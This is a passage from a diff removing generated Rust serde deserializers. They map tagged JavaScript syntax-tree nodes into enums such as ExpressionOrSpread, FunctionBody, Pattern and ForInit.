-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::OptionalCallExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::OptionalMemberExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::RegExpLiteral(node)))
-            }
-            __ExpressionOrSpreadTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::SequenceExpression(node)))
-            }
-            __ExpressionOrSpreadTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::StringLiteral(node)))
-            }
-            __ExpressionOrSpreadTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::TaggedTemplateExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::TemplateLiteral(node)))
-            }
-            __ExpressionOrSpreadTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::ThisExpression(node)))
-            }
-            __ExpressionOrSpreadTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::UnaryExpression(node)))
-            }
-            __ExpressionOrSpreadTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::UpdateExpression(node)))
-            }
-            __ExpressionOrSpreadTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::YieldExpression(node)))
-            }
-            __ExpressionOrSpreadTag::SpreadElement => {
-                let node: Box<SpreadElement> = <Box<
-                    SpreadElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::SpreadElement(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum FunctionBody {
-    BlockStatement(Box<BlockStatement>),
-    Expression(Expression),
-}
-#[derive(Deserialize, Debug)]
-enum __FunctionBodyTag {
-    BlockStatement,
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-}
-impl<'de> serde::Deserialize<'de> for FunctionBody {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __FunctionBodyTag,
-            >::new("type", "FunctionBody"),
-        )?;
-        match tagged.0 {
-            __FunctionBodyTag::BlockStatement => {
-                let node: Box<BlockStatement> = <Box<
-                    BlockStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::BlockStatement(node))
-            }
-            __FunctionBodyTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ArrayExpression(node)))
-            }
-            __FunctionBodyTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ArrowFunctionExpression(node)))
-            }
-            __FunctionBodyTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::AssignmentExpression(node)))
-            }
-            __FunctionBodyTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::AwaitExpression(node)))
-            }
-            __FunctionBodyTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::BinaryExpression(node)))
-            }
-            __FunctionBodyTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::BooleanLiteral(node)))
-            }
-            __FunctionBodyTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::CallExpression(node)))
-            }
-            __FunctionBodyTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ChainExpression(node)))
-            }
-            __FunctionBodyTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ClassExpression(node)))
-            }
-            __FunctionBodyTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ConditionalExpression(node)))
-            }
-            __FunctionBodyTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::CoverTypedIdentifier(node)))
-            }
-            __FunctionBodyTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::FunctionExpression(node)))
-            }
-            __FunctionBodyTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::Identifier(node)))
-            }
-            __FunctionBodyTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ImportExpression(node)))
-            }
-            __FunctionBodyTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::JSXElement(node)))
-            }
-            __FunctionBodyTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::JSXFragment(node)))
-            }
-            __FunctionBodyTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::Literal(node)))
-            }
-            __FunctionBodyTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::LogicalExpression(node)))
-            }
-            __FunctionBodyTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::MemberExpression(node)))
-            }
-            __FunctionBodyTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::MetaProperty(node)))
-            }
-            __FunctionBodyTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::NewExpression(node)))
-            }
-            __FunctionBodyTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::NullLiteral(node)))
-            }
-            __FunctionBodyTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::NumericLiteral(node)))
-            }
-            __FunctionBodyTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ObjectExpression(node)))
-            }
-            __FunctionBodyTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::OptionalCallExpression(node)))
-            }
-            __FunctionBodyTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::OptionalMemberExpression(node)))
-            }
-            __FunctionBodyTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::RegExpLiteral(node)))
-            }
-            __FunctionBodyTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::SequenceExpression(node)))
-            }
-            __FunctionBodyTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::StringLiteral(node)))
-            }
-            __FunctionBodyTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::TaggedTemplateExpression(node)))
-            }
-            __FunctionBodyTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::TemplateLiteral(node)))
-            }
-            __FunctionBodyTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::ThisExpression(node)))
-            }
-            __FunctionBodyTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::UnaryExpression(node)))
-            }
-            __FunctionBodyTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::UpdateExpression(node)))
-            }
-            __FunctionBodyTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(FunctionBody::Expression(Expression::YieldExpression(node)))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum Pattern {
-    ArrayPattern(Box<ArrayPattern>),
-    AssignmentPattern(Box<AssignmentPattern>),
-    Identifier(Box<Identifier>),
-    ObjectPattern(Box<ObjectPattern>),
-    RestElement(Box<RestElement>),
-}
-#[derive(Deserialize, Debug)]
-enum __PatternTag {
-    Identifier,
-    ArrayPattern,
-    ObjectPattern,
-    RestElement,
-    AssignmentPattern,
-}
-impl<'de> serde::Deserialize<'de> for Pattern {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __PatternTag,
-            >::new("type", "Pattern"),
-        )?;
-        match tagged.0 {
-            __PatternTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Pattern::Identifier(node))
-            }
-            __PatternTag::ArrayPattern => {
-                let node: Box<ArrayPattern> = <Box<
-                    ArrayPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Pattern::ArrayPattern(node))
-            }
-            __PatternTag::ObjectPattern => {
-                let node: Box<ObjectPattern> = <Box<
-                    ObjectPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Pattern::ObjectPattern(node))
-            }
-            __PatternTag::RestElement => {
-                let node: Box<RestElement> = <Box<
-                    RestElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Pattern::RestElement(node))
-            }
-            __PatternTag::AssignmentPattern => {
-                let node: Box<AssignmentPattern> = <Box<
-                    AssignmentPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Pattern::AssignmentPattern(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ForInit {
-    Expression(Expression),
-    VariableDeclaration(Box<VariableDeclaration>),
-}
-#[derive(Deserialize, Debug)]
-enum __ForInitTag {
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-    VariableDeclaration,
-}
-impl<'de> serde::Deserialize<'de> for ForInit {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ForInitTag,
-            >::new("type", "ForInit"),
-        )?;
-        match tagged.0 {
-            __ForInitTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ArrayExpression(node)))
-            }
-            __ForInitTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ArrowFunctionExpression(node)))
-            }
-            __ForInitTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::AssignmentExpression(node)))
-            }
-            __ForInitTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::AwaitExpression(node)))
-            }
-            __ForInitTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::BinaryExpression(node)))
-            }
-            __ForInitTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::BooleanLiteral(node)))
-            }
-            __ForInitTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::CallExpression(node)))
-            }
-            __ForInitTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ChainExpression(node)))
-            }
-            __ForInitTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ClassExpression(node)))
-            }
-            __ForInitTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ConditionalExpression(node)))
-            }
-            __ForInitTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::CoverTypedIdentifier(node)))
-            }
-            __ForInitTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::FunctionExpression(node)))
-            }
-            __ForInitTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::Identifier(node)))
-            }
-            __ForInitTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ImportExpression(node)))
-            }
-            __ForInitTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::JSXElement(node)))
-            }
-            __ForInitTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::JSXFragment(node)))
-            }
-            __ForInitTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::Literal(node)))
-            }
-            __ForInitTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::LogicalExpression(node)))
-            }
-            __ForInitTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::MemberExpression(node)))
-            }
-            __ForInitTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::MetaProperty(node)))
-            }
-            __ForInitTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::NewExpression(node)))
-            }
-            __ForInitTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::NullLiteral(node)))
-            }
-            __ForInitTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::NumericLiteral(node)))
-            }
-            __ForInitTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ObjectExpression(node)))
-            }
-            __ForInitTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::OptionalCallExpression(node)))
-            }
-            __ForInitTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::OptionalMemberExpression(node)))
-            }
-            __ForInitTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::RegExpLiteral(node)))
-            }
-            __ForInitTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::SequenceExpression(node)))
-            }
-            __ForInitTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::StringLiteral(node)))
-            }
-            __ForInitTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::TaggedTemplateExpression(node)))
-            }
-            __ForInitTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::TemplateLiteral(node)))
-            }
-            __ForInitTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::ThisExpression(node)))
-            }
-            __ForInitTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::UnaryExpression(node)))
-            }
-            __ForInitTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
